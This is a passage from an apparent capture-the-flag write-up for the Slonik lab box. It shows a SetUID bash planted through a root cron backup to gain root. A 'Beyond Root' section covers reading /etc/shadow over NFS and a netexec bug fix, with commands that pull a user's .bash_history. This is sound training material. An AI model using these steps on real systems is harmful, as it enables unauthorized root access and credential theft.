postgres@slonik:~/14/main$ cp /bin/bash .
postgres@slonik:~/14/main$ chmod 6777 bash
The next time the cron runs, there’s a SetUID / SetGID bash owned by root:
postgres@slonik:/opt/backups/current$ ls -l bash
-rwsrwsrwx 1 root root 1396520 Feb 10 12:25 bash
I’ll run with -p to not drop privs:
postgres@slonik:/opt/backups/current$ ./bash -p
bash-5.1#
And grab root.txt:
bash-5.1# cat /root/root.txt
2cb582cd************************
Beyond Root
While solving Slonik, I ran into data points with netexec I couldn’t explain:
- I could read
/etc/shadow. - I could not read
/root/root.txt. - I could not read
/home/service/.bash_history.
My thinking is that the first two made sense. NFS allows me to be any user / group other than root. Without root, no root.txt. shadow group gives me access to shadow. So what is broken on .bash_history? Turns out it was a bug in Netexec. I’ll go into detail in this video:
I created a PR to fix the bug, which has already been merged. And with that fix it works:
oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /home/service/.bash_history ./
NFS 10.129.234.160 41393 10.129.234.160 Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.234.160 41393 10.129.234.160 Downloading /home/service/.bash_history to ./.bash_history
NFS 10.129.234.160 41393 10.129.234.160 File successfully downloaded from /home/service/.bash_history to ./.bash_history
